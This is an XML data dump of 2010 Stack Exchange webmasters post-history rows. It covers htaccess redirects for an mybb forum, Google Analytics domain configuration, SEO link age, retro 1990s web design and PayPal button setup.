  <row Id="10176" PostHistoryTypeId="2" PostId="5122" RevisionGUID="cc0fa5ee-cac0-415c-a04f-f81b07c1332f" CreationDate="2010-11-06T14:59:44.633" UserId="2047" Text="I have a mybb forum hosted at a folder inside my site, which can also be accessed via a subdomain.&#xD;&#xA;I would like to configure it so that if someone would enter the folder it would automatically be redirected to the subdomain:&#xD;&#xA;&#xD;&#xA;http://www.antinovaordemmundial.com/mybb/&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;http://forum.antinovaordemmundial.com&#xD;&#xA;&#xD;&#xA;Once you enter in the forum using the folder URL, any other link will automaticaly redirect to the subdomain, with the exception of the main page ( http://forum.antinovaordemmundial.com ) &#xD;&#xA;&#xD;&#xA;My htaccess is as follows:&#xD;&#xA;&#xD;&#xA; # Make this rule the first rewrite rule in your .htaccess!&#xD;&#xA;  #RewriteRule ^([^&amp;]*)&amp;(.*)$ http://forum.antinovaordemmundial.com/$1?$2 [L,QSA,R=301&#xD;&#xA; RewriteRule ^forum-([0-9]+)\.html$ forumdisplay.php?fid=$1 [L,QSA]&#xD;&#xA; RewriteRule ^forum-([0-9]+)-page-([0-9]+)\.html$ forumdisplay.php?fid=$1&amp;page=$2 [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)\.html$ showthread.php?tid=$1 [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-page-([0-9]+)\.html$ showthread.php?tid=$1&amp;page=$2 [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-lastpost\.html$ showthread.php?tid=$1&amp;action=lastpost [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-nextnewest\.html$ showthread.php?tid=$1&amp;action=nextnewest [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-nextoldest\.html$ showthread.php?tid=$1&amp;action=nextoldest [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-newpost\.html$ showthread.php?tid=$1&amp;action=newpost [L,QSA]&#xD;&#xA; RewriteRule ^thread-([0-9]+)-post-([0-9]+)\.html$ showthread.php?tid=$1&amp;pid=$2 [L,QSA]&#xD;&#xA; RewriteRule ^post-([0-9]+)\.html$ showthread.php?pid=$1 [L,QSA]&#xD;&#xA; RewriteRule ^announcement-([0-9]+)\.html$ announcements.php?aid=$1 [L,QSA]&#xD;&#xA; RewriteRule ^user-([0-9]+)\.html$ member.php?action=profile&amp;uid=$1 [L,QSA]&#xD;&#xA; RewriteRule ^calendar-([0-9]+)\.html$ calendar.php?calendar=$1 [L,QSA]&#xD;&#xA; RewriteRule ^calendar-([0-9]+)-year-([0-9]+)\.html$ calendar.php?action=yearview&amp;calendar=$1&amp;year=$2 [L,QSA]&#xD;&#xA; RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)\.html$ calendar.php?calendar=$1&amp;year=$2&amp;month=$3 [L,QSA]&#xD;&#xA; RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)-day-([0-9]+)\.html$ calendar.php?action=dayview&amp;calendar=$1&amp;year=$2&amp;month=$3&amp;day=$4 [L,QSA]&#xD;&#xA; RewriteRule ^calendar-([0-9]+)-week-(n?[0-9]+)\.html$ calendar.php?action=weekview&amp;calendar=$1&amp;week=$2 [L,QSA]&#xD;&#xA; RewriteRule ^event-([0-9]+)\.html$ calendar.php?action=event&amp;eid=$1 [L,QSA]&#xD;&#xA;&#xD;&#xA;RewriteRule ^([^&amp;]*)&amp;(.*)$ http://forum.antinovaordemmundial.com/$1?$2 [L,QSA,R=301]&#xD;&#xA;&#xD;&#xA;RewriteRule ^sitemap-([^./]+)\.xml$ misc.php?google_seo_sitemap=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Forum-([^./]+)$ forumdisplay.php?google_seo_forum=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Topico-([^./]+)$ showthread.php?google_seo_thread=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Anuncio-([^./]+)$ announcements.php?google_seo_announcement=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Usuario-([^./]+)$ member.php?action=profile&amp;google_seo_user=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Calendario-([^./]+)$ calendar.php?google_seo_calendar=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;RewriteRule ^Evento-([^./]+)$ calendar.php?action=event&amp;google_seo_event=$1 [L,QSA,NC]&#xD;&#xA;&#xD;&#xA;ErrorDocument 404 /misc.php?google_seo_error=404&#xD;&#xA; &lt;IfModule mod_env.c&gt;&#xD;&#xA;  SetEnv SEO_SUPPORT 1&#xD;&#xA; &lt;/IfModule&gt;&#xD;&#xA;&lt;/IfModule&gt;" />
  <row Id="10177" PostHistoryTypeId="1" PostId="5122" RevisionGUID="cc0fa5ee-cac0-415c-a04f-f81b07c1332f" CreationDate="2010-11-06T14:59:44.633" UserId="2047" Text="How do I normalise a URL from a folder to a subdomain?" />
  <row Id="10178" PostHistoryTypeId="3" PostId="5122" RevisionGUID="cc0fa5ee-cac0-415c-a04f-f81b07c1332f" CreationDate="2010-11-06T14:59:44.633" UserId="2047" Text="&lt;apache&gt;&lt;htaccess&gt;" />
  <row Id="10179" PostHistoryTypeId="5" PostId="5122" RevisionGUID="0d4dd04b-8d33-405c-bf8a-05491aa828da" CreationDate="2010-11-06T15:08:32.163" UserId="1253" Comment="Formatted the code" Text="I have a mybb forum hosted at a folder inside my site, which can also be accessed via a subdomain.&#xD;&#xA;I would like to configure it so that if someone would enter the folder it would automatically be redirected to the subdomain:&#xD;&#xA;&#xD;&#xA;http://www.antinovaordemmundial.com/mybb/&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;http://forum.antinovaordemmundial.com&#xD;&#xA;&#xD;&#xA;Once you enter in the forum using the folder URL, any other link will automaticaly redirect to the subdomain, with the exception of the main page ( http://forum.antinovaordemmundial.com ) &#xD;&#xA;&#xD;&#xA;My htaccess is as follows:&#xD;&#xA;&#xD;&#xA;     # Make this rule the first rewrite rule in your .htaccess!&#xD;&#xA;      #RewriteRule ^([^&amp;]*)&amp;(.*)$ http://forum.antinovaordemmundial.com/$1?$2 [L,QSA,R=301&#xD;&#xA;     RewriteRule ^forum-([0-9]+)\.html$ forumdisplay.php?fid=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^forum-([0-9]+)-page-([0-9]+)\.html$ forumdisplay.php?fid=$1&amp;page=$2 [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)\.html$ showthread.php?tid=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-page-([0-9]+)\.html$ showthread.php?tid=$1&amp;page=$2 [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-lastpost\.html$ showthread.php?tid=$1&amp;action=lastpost [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-nextnewest\.html$ showthread.php?tid=$1&amp;action=nextnewest [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-nextoldest\.html$ showthread.php?tid=$1&amp;action=nextoldest [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-newpost\.html$ showthread.php?tid=$1&amp;action=newpost [L,QSA]&#xD;&#xA;     RewriteRule ^thread-([0-9]+)-post-([0-9]+)\.html$ showthread.php?tid=$1&amp;pid=$2 [L,QSA]&#xD;&#xA;     RewriteRule ^post-([0-9]+)\.html$ showthread.php?pid=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^announcement-([0-9]+)\.html$ announcements.php?aid=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^user-([0-9]+)\.html$ member.php?action=profile&amp;uid=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^calendar-([0-9]+)\.html$ calendar.php?calendar=$1 [L,QSA]&#xD;&#xA;     RewriteRule ^calendar-([0-9]+)-year-([0-9]+)\.html$ calendar.php?action=yearview&amp;calendar=$1&amp;year=$2 [L,QSA]&#xD;&#xA;     RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)\.html$ calendar.php?calendar=$1&amp;year=$2&amp;month=$3 [L,QSA]&#xD;&#xA;     RewriteRule ^calendar-([0-9]+)-year-([0-9]+)-month-([0-9]+)-day-([0-9]+)\.html$ calendar.php?action=dayview&amp;calendar=$1&amp;year=$2&amp;month=$3&amp;day=$4 [L,QSA]&#xD;&#xA;     RewriteRule ^calendar-([0-9]+)-week-(n?[0-9]+)\.html$ calendar.php?action=weekview&amp;calendar=$1&amp;week=$2 [L,QSA]&#xD;&#xA;     RewriteRule ^event-([0-9]+)\.html$ calendar.php?action=event&amp;eid=$1 [L,QSA]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^([^&amp;]*)&amp;(.*)$ http://forum.antinovaordemmundial.com/$1?$2 [L,QSA,R=301]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^sitemap-([^./]+)\.xml$ misc.php?google_seo_sitemap=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Forum-([^./]+)$ forumdisplay.php?google_seo_forum=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Topico-([^./]+)$ showthread.php?google_seo_thread=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Anuncio-([^./]+)$ announcements.php?google_seo_announcement=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Usuario-([^./]+)$ member.php?action=profile&amp;google_seo_user=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Calendario-([^./]+)$ calendar.php?google_seo_calendar=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    RewriteRule ^Evento-([^./]+)$ calendar.php?action=event&amp;google_seo_event=$1 [L,QSA,NC]&#xD;&#xA;    &#xD;&#xA;    ErrorDocument 404 /misc.php?google_seo_error=404&#xD;&#xA;     &lt;IfModule mod_env.c&gt;&#xD;&#xA;      SetEnv SEO_SUPPORT 1&#xD;&#xA;     &lt;/IfModule&gt;&#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="10180" PostHistoryTypeId="2" PostId="5123" RevisionGUID="251b73b4-5370-4954-87f7-2eda15a54260" CreationDate="2010-11-06T15:09:58.247" UserId="1253" Text="Just add:&#xD;&#xA;&#xD;&#xA;    Redirect 301 /mybb/ http://forum.antinovaordemmundial.com" />
  <row Id="10181" PostHistoryTypeId="5" PostId="5121" RevisionGUID="64b32562-af20-420d-a9da-d8e8caa29b9f" CreationDate="2010-11-06T15:59:31.377" UserId="1064" Comment="I'm not 100% certain it's the case but so far as I can tell from a cursory review of the code..." Text="A search of ga.js would suggest that the string &quot;document.domain&quot; (or the minified variant &quot;E.domain&quot;) does not, in fact, appear.&#xD;&#xA;&#xD;&#xA;It would appear as though Google Analytics uses `window.location.hostname` (encoded as `b.hostname`) to get the domain." />
  <row Id="10182" PostHistoryTypeId="2" PostId="5124" RevisionGUID="03354c2f-5e1a-4f25-9156-d64526f7e9c1" CreationDate="2010-11-06T16:18:14.757" UserId="2898" Text="Multiple 301 redirects will impact the ranking of that page. Google has confirmed that a small amount of trust and authority is lost for every 301 redirect. Once isn't a big deal, twice is slightly suboptimal but probably nothing to *really* fret over. Three plus and you're in dangerous territory IMO.&#xD;&#xA;&#xD;&#xA;If you can help it, do a one to one 301 redirect from the old page to the new page. &#xD;&#xA;&#xD;&#xA;In addition, use something like [Httpfox][1] or [Live HTTP Headers][2] to check exactly what is being returned once you have it in place.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/en-US/firefox/addon/6647/&#xD;&#xA;  [2]: https://addons.mozilla.org/en-US/firefox/addon/3829/" />
  <row Id="10183" PostHistoryTypeId="2" PostId="5125" RevisionGUID="4d21a693-e59f-412b-86f6-6f1d03e01497" CreationDate="2010-11-06T18:34:26.900" UserId="2898" Text="I don't believe so. I consult on both PPC and SEO, and by far I get far more interest in SEO. However, it's still a struggle for many to dedicate time and resources to SEO since it's more difficult to show ROI. &#xD;&#xA;&#xD;&#xA;I've gotten good at showing how much money it would cost to buy the same traffic via PPC - it's a very high recurring cost, versus a much lower and infrequent cost for the same traffic via SEO.&#xD;&#xA;&#xD;&#xA;Both PPC and SEO are part of an overall search marketing effort. PPC provides more control, is easier to track and measure, but is expensive. SEO provides less control, is more difficult to track and measure, but is very cheap in the long run. &#xD;&#xA;&#xD;&#xA;The Google Tax continues to go up and that's when most companies seem to wake up and understand that they can't rely on PPC alone." />
  <row Id="10184" PostHistoryTypeId="2" PostId="5126" RevisionGUID="8bda87ca-5306-4235-a7b3-5b096f27540b" CreationDate="2010-11-06T21:33:08.357" UserId="2379" Text="http://spritegen.website-performance.org/&#xD;&#xA;http://csssprites.com/&#xD;&#xA;http://csssprites.org/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You dont want to load all your images from sprites. &#xD;&#xA;It can slow your site down if the page that is loaded doesnt actually use the images. &#xD;&#xA;There is a clear balance of what needs to be on sprites and what doesnt.&#xD;&#xA;&#xD;&#xA;What i recommend is:&#xD;&#xA;Sprite images that appear on most pages.&#xD;&#xA;Then, use a lazyload script to load images when they are in focus.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10185" PostHistoryTypeId="2" PostId="5127" RevisionGUID="baba2e47-24b3-4635-8cbb-0878d2d40f19" CreationDate="2010-11-07T00:54:06.513" UserId="2489" Text="Can i will have adsense multiple account difference name and address but same surname ?&#xD;&#xA;&#xD;&#xA;What i will do after success for login or mac addess or cookie?" />
  <row Id="10186" PostHistoryTypeId="1" PostId="5127" RevisionGUID="baba2e47-24b3-4635-8cbb-0878d2d40f19" CreationDate="2010-11-07T00:54:06.513" UserId="2489" Text="Can i will have adsense multiple account? " />
  <row Id="10187" PostHistoryTypeId="3" PostId="5127" RevisionGUID="baba2e47-24b3-4635-8cbb-0878d2d40f19" CreationDate="2010-11-07T00:54:06.513" UserId="2489" Text="&lt;google-adsense&gt;" />
  <row Id="10188" PostHistoryTypeId="12" PostId="5127" RevisionGUID="6600e5d7-dedf-4ada-8ae5-229622520bb5" CreationDate="2010-11-07T00:54:23.143" UserId="2489" Text="[{&quot;Id&quot;:2489,&quot;DisplayName&quot;:&quot;monkey_boys&quot;}]" />
  <row Id="10189" PostHistoryTypeId="13" PostId="5127" RevisionGUID="a7e793f1-9f09-4220-aa1c-978f43fe8eaa" CreationDate="2010-11-07T00:54:27.263" UserId="2489" Text="[{&quot;Id&quot;:2489,&quot;DisplayName&quot;:&quot;monkey_boys&quot;}]" />
  <row Id="10190" PostHistoryTypeId="5" PostId="5127" RevisionGUID="062d335e-db8f-4f17-9621-f5170f14c849" CreationDate="2010-11-07T01:00:59.440" UserId="2489" Comment="deleted 113 characters in body" Text="Can i will have adsense multiple account?" />
  <row Id="10191" PostHistoryTypeId="2" PostId="5128" RevisionGUID="c17276c1-46bf-49ea-8941-c13b1b03d615" CreationDate="2010-11-07T01:15:49.710" UserId="2288" Text="The age of a domain has a value, and figure the age of a link does too. How would you estimate the age of a link, and would you limit the age to the age of the domain?" />
  <row Id="10192" PostHistoryTypeId="1" PostId="5128" RevisionGUID="c17276c1-46bf-49ea-8941-c13b1b03d615" CreationDate="2010-11-07T01:15:49.710" UserId="2288" Text="In SEO, how do you estimate the age of a link?" />
  <row Id="10193" PostHistoryTypeId="3" PostId="5128" RevisionGUID="c17276c1-46bf-49ea-8941-c13b1b03d615" CreationDate="2010-11-07T01:15:49.710" UserId="2288" Text="&lt;seo&gt;" />
  <row Id="10194" PostHistoryTypeId="2" PostId="5129" RevisionGUID="f7a526bc-a1d1-45dc-adb9-f285a09566a5" CreationDate="2010-11-07T02:50:59.377" UserId="2379" Text="The age of a domain plays in a little bit when considering SEO.  This rule is setup to avoid people creating multiple sites for SEO purpose and thus using them to promote a single site.  &#xD;&#xA;&#xD;&#xA;I have never heard of any SEO importance being given to the age of link.  Doesnt mean that it isnt so.&#xD;&#xA;&#xD;&#xA;My primary concern is this.&#xD;&#xA;Good SEO principles start with the design of your site, how your content is structured, written and how your site is coded.&#xD;&#xA;&#xD;&#xA;Next focus on exposure, making sure that your content is properly aggregated and focus on building backlinks of real value.&#xD;&#xA;&#xD;&#xA;After that, get back to business.  There is a point where you are focusing on SEO far too much and taking energy away from your product or customer service.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10195" PostHistoryTypeId="2" PostId="5130" RevisionGUID="8b0f6b18-6e2a-4962-b7b8-37cc10f172fb" CreationDate="2010-11-07T02:59:34.927" UserId="1064" Text="&gt; How would you estimate the age of a&#xD;&#xA;&gt; link and would you limit the age to&#xD;&#xA;&gt; the age of the domain?&#xD;&#xA;&#xD;&#xA;Something of a trick question.&#xD;&#xA;&#xD;&#xA;The age of the link dates to the time the link was made a part of the *content* associated with the domain - given that it is effectively possible [move content's association between domains][1], it would be difficult to determine how old the link is if you are not actively monitoring the internet for the content in which the link occurs in the same way a search engine would.&#xD;&#xA;&#xD;&#xA;To the second part of your question, the age of the domain is not a delimiter for the link's age (for Google, at least) because the link may have originally existed in content at domain0.com before domain0.com's content was permanently redirected to domain1.com - the metadata used to calculate the value of the link transcends domains and, theoretically, the value of the link would as well.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=83105" />
  <row Id="10196" PostHistoryTypeId="5" PostId="5120" RevisionGUID="3a8af74f-4c74-4b2d-bb5d-83024dab244e" CreationDate="2010-11-07T06:27:09.473" UserId="1064" Comment="Updated with additional code" Text="    &lt;? if ( %%HTTP_HOST%% != 'live.chess.com' ) { ?&gt;&#xD;&#xA;    &lt;script&gt;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XXXXX-01']);&#xD;&#xA;    _gaq.push(['_setDomainName', '&lt;? echo %%HTTP_HOST%% ?&gt;']);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;    &lt;? } ?&gt;&#xD;&#xA;&#xD;&#xA;(Where `%%HTTP_HOST%%` is a variable generated by your server-side script)&#xD;&#xA;&#xD;&#xA;**Edit:** To confirm, the following code is included on all pages generated at secure.chess.com and www.chess.com and no script errors display at secure.chess.com correct?&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;      (function() {&#xD;&#xA;        var ga = document.createElement('script');&#xD;&#xA;        ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:'   == document.location.protocol ? 'https://ssl'   : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;    &lt;/script&gt;" />
  <row Id="10197" PostHistoryTypeId="2" PostId="5131" RevisionGUID="020bfcde-5a36-474b-80ac-10c3c985b7f2" CreationDate="2010-11-07T07:22:28.033" UserId="2490" Text="I would recommend you [arvixe.com][1] (they call it dedicated class). I use them, the service is good - also have chat 24/7, not too expensive. You can also choose the hardware/price you want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-39.html" />
  <row Id="10204" PostHistoryTypeId="2" PostId="5133" RevisionGUID="a54d7f17-9c3a-4465-862c-96e5b57076d6" CreationDate="2010-11-07T12:27:56.883" UserId="1647" Text="From Google AdSense FAQ: [Can I sign up for more than one account?][1]&#xD;&#xA;&#xD;&#xA;&gt; No. Publishers are not permitted to&#xD;&#xA;&gt; maintain multiple AdSense accounts&#xD;&#xA;&gt; under the same payee name.&#xD;&#xA;&gt; &#xD;&#xA;&gt; However, we've provided some guidance&#xD;&#xA;&gt; below that may help you if you're&#xD;&#xA;&gt; trying to submit multiple&#xD;&#xA;&gt; applications. Please identify which&#xD;&#xA;&gt; common reason best describes your&#xD;&#xA;&gt; situation, then follow the&#xD;&#xA;&gt; instructions below.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/adsense/support/bin/answer.py?hl=en&amp;answer=9729" />
  <row Id="10205" PostHistoryTypeId="2" PostId="5134" RevisionGUID="021afc15-d7a1-4e3c-9ca4-1f57a7f5cd02" CreationDate="2010-11-07T12:33:39.337" UserId="770" Text="I have some old layouts, and I would like to sell them, are there any popular online auctions service? " />
  <row Id="10206" PostHistoryTypeId="1" PostId="5134" RevisionGUID="021afc15-d7a1-4e3c-9ca4-1f57a7f5cd02" CreationDate="2010-11-07T12:33:39.337" UserId="770" Text="Is there webservice to sell layout?" />
  <row Id="10207" PostHistoryTypeId="3" PostId="5134" RevisionGUID="021afc15-d7a1-4e3c-9ca4-1f57a7f5cd02" CreationDate="2010-11-07T12:33:39.337" UserId="770" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="10208" PostHistoryTypeId="2" PostId="5135" RevisionGUID="8439220a-2094-4073-9d2a-63b9f36fccd6" CreationDate="2010-11-07T14:07:41.437" UserDisplayName="Pierre 303" Text="I want to build a website for a retro thing that **was** popular in the mid 90s (beginning of the commercial internet).&#xD;&#xA;&#xD;&#xA;So I want use *old designs* that was very popular at that time.&#xD;&#xA;&#xD;&#xA;The first thing that comes to my mind was those &quot;`under construction`&quot; animated gifs. People often put animated gifs everywhere.&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;But also those awful repeating [backgrounds][2].&#xD;&#xA;&#xD;&#xA;So yes, I want my website to look exactly like in the mid nineties ;)&#xD;&#xA;&#xD;&#xA;(please suggest practical and usable features, I guess an Java Applet menu would not work today, or saying on the bottom that this website is optimized for Netscape 3)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tM18j.gif&#xD;&#xA;  [2]: http://www.free-backgrounds.com/shtml/patterns/bg0009.shtml" />
  <row Id="10209" PostHistoryTypeId="1" PostId="5135" RevisionGUID="8439220a-2094-4073-9d2a-63b9f36fccd6" CreationDate="2010-11-07T14:07:41.437" UserDisplayName="Pierre 303" Text="What is the typical example of old school website design ?" />
  <row Id="10210" PostHistoryTypeId="3" PostId="5135" RevisionGUID="8439220a-2094-4073-9d2a-63b9f36fccd6" CreationDate="2010-11-07T14:07:41.437" UserDisplayName="Pierre 303" Text="&lt;website-design&gt;" />
  <row Id="10211" PostHistoryTypeId="2" PostId="5136" RevisionGUID="64b8354c-9ddc-4637-a797-5a65905f03a8" CreationDate="2010-11-07T14:48:44.697" UserId="72" Text="There are few things that I remember :&#xD;&#xA;&#xD;&#xA; - Most of them tend to use frame design.&#xD;&#xA; - They often had counter to tell you `This page has been visited xxx times`.&#xD;&#xA; - They looked like Geocities pages.&#xD;&#xA;&#xD;&#xA;For the last point Geocities doesn't exist anymore, however they are some website re-hosting the geocities content. You might want to take a look at them for more ideas.&#xD;&#xA;&#xD;&#xA; - http://www.geocities.ws/search/local/ (You can do search with that one)&#xD;&#xA; - http://www.reocities.com/neighborhoods/&#xD;&#xA; - http://www.geociti.es/neighborhoods.html&#xD;&#xA; - http://www.oocities.org/" />
  <row Id="10212" PostHistoryTypeId="2" PostId="5137" RevisionGUID="36bbed2b-1276-4b99-a22f-ab3ac4ae7552" CreationDate="2010-11-07T15:00:44.973" UserId="871" Text="You can take a look at [my home page][1], I did it up very mid-90s. Use old style HRs footers with last updateds are good, that gray background browsers used to have by default. Old style browser icons. Animated GIFs were novel and were all around. &#xD;&#xA;&#xD;&#xA;Basically think: geocities/angelfire.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thomasleen.com/" />
  <row Id="10213" PostHistoryTypeId="2" PostId="5138" RevisionGUID="403cd3f5-0a5f-483b-bcd7-9a117a0b241a" CreationDate="2010-11-07T15:20:59.773" UserId="3075" Text="I wish to use Paypal web site payments standard on one of my clients webpages.&#xD;&#xA; &#xD;&#xA;It's a simple static site, so I do not wish to use a e-commerce package.&#xD;&#xA; &#xD;&#xA;I'm creating test code using my own paypal account.&#xD;&#xA; &#xD;&#xA;But when it comes to creating the real buttons, will I need to login using my clients login details?&#xD;&#xA; &#xD;&#xA;I'm guessing that it would be easier to do this using website payments pro - as I could use the API and then towards the end of development switch it to the client's account / token (i'm not sure of the terminology, but understand the concept).&#xD;&#xA; &#xD;&#xA;In an ideal world, I'm hoping for something similar to Google adwords management accounts, where I can manage my clients' sub-accounts.&#xD;&#xA; &#xD;&#xA; &#xD;&#xA;I'd rather not have to login as my client and instead be able to the work from my own account.&#xD;&#xA;Is there a way of achieving this? Or a development workflow anyone reccomends?&#xD;&#xA; &#xD;&#xA;Feel free to talk geeky to me, I'm a developer - but just don't have much experiance with paypal.&#xD;&#xA; &#xD;&#xA; &#xD;&#xA;-thanks for the help" />
  <row Id="10214" PostHistoryTypeId="1" PostId="5138" RevisionGUID="403cd3f5-0a5f-483b-bcd7-9a117a0b241a" CreationDate="2010-11-07T15:20:59.773" UserId="3075" Text="For Paypal website payments standard, Do I need to create add to cart buttons using my client's account?" />
  <row Id="10215" PostHistoryTypeId="3" PostId="5138" RevisionGUID="403cd3f5-0a5f-483b-bcd7-9a117a0b241a" CreationDate="2010-11-07T15:20:59.773" UserId="3075" Text="&lt;paypal&gt;" />
  <row Id="10216" PostHistoryTypeId="16" PostId="5135" RevisionGUID="c64f0b92-1736-4f34-857e-08d40df6c65d" CreationDate="2010-11-07T15:29:33.617" UserId="1253" />
  <row Id="10217" PostHistoryTypeId="2" PostId="5139" RevisionGUID="d93c3031-e43c-46ba-8d67-844b3574c1f0" CreationDate="2010-11-07T15:34:40.267" UserId="1064" Text="If you're planning to make a &quot;personal homepage&quot; throwback, forget about using any of those fancy &quot;cascading style sheets&quot; - you won't need them.&#xD;&#xA;&#xD;&#xA;Open up your favorite WYSIWYG editor (Microsoft Word will do in a pinch) and throw together something with plenty of colorful text and daring use of fonts (when in doubt, go with Comic Sans).&#xD;&#xA;&#xD;&#xA;Remember to use graphics with a [&quot;web safe palette&quot;][1] and, yes, you'll be needing plenty of animated .GIF's.&#xD;&#xA;&#xD;&#xA;If you want some examples of how *business* sites looked, however, you're probably better off picking the names of a few brands which still exist today and visiting the [Wayback Machine][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Web_colors&#xD;&#xA;  [2]: http://www.archive.org/web/web.php" />
  <row Id="10218" PostHistoryTypeId="2" PostId="5140" RevisionGUID="f2288ee4-685b-4ea9-beec-12a270a39963" CreationDate="2010-11-07T16:13:13.453" UserId="1757" Text="The &quot;style&quot; of an early to mid-90s website is basically a website without any style. It's plain to save on bandwidth as well as due to technical limitations of web standards (or lack thereof). Take Amazon's original layout (1995):&lt;br/&gt;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/tI9Ww.jpg&#xD;&#xA;&#xD;&#xA;It doesn't have to be gaudy and with tons of animated GIFs or under-construction signs (they were a common sight, but not on operational business websites).&#xD;&#xA;&#xD;&#xA;Another good example would be pets.com (1998-2000), which won a lot of awards from the advertising industry for their website design. But I can't find a screenshot of it.&#xD;&#xA;&#xD;&#xA;Anyway, even though most of it would be considered poor design these days, there are still both good and bad 90s web designs. For instance, a grey background is pretty &quot;retro&quot;, as are a 256-color palettes, 90s clip-art-style web graphics, and Times New Roman type face. Frames are a good throwback as well, as are gopher links and hit counters. But things like midi background music, clashing day-glo colors, stock animated-GIFs, etc. are more characteristic of poor designs than 90s web design in general." />
  <row Id="10219" PostHistoryTypeId="2" PostId="5141" RevisionGUID="a9cc7d85-786b-4403-9638-df2d123b304c" CreationDate="2010-11-07T16:20:01.910" UserId="1064" Text="Here is a link out to [PayPal's developer documentation for shopping cart buttons][1] - from the look of it, you *will* need to create buttons using the client's PayPal account (though it's probably just a matter of finding the right tokens to replace in the HTML forms and links your client's site displays).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cms.paypal.com/us/cgi-bin/?&amp;cmd=_render-content&amp;content_ID=developer/e_howto_html_paypal_shopping_cart" />
  <row Id="10220" PostHistoryTypeId="2" PostId="5142" RevisionGUID="2ddc7e55-71e9-413b-9d28-7147b7806f65" CreationDate="2010-11-07T17:30:12.180" UserId="1953" Text="It's hard to determine the age of specific links retroactively because you would have to know when the search engines found the links, however, in some cases if the links are within articles you can look at the date the article was published, many sites especially news sites include the date.&#xD;&#xA;&#xD;&#xA;Also you should be able to get approximate dates going forward using something like majestic SEO if you bought a link report each month and stored them in a database you could keep track when they first appeared in the report. &#xD;&#xA;&#xD;&#xA;Majestic SEO also has a back link history report, which shows aggregate numbers of links they've discovered pointing to a certain domain over time, this usually sufficient to get a historical view of competitors linking habits and much more efficient for most webmasters." />
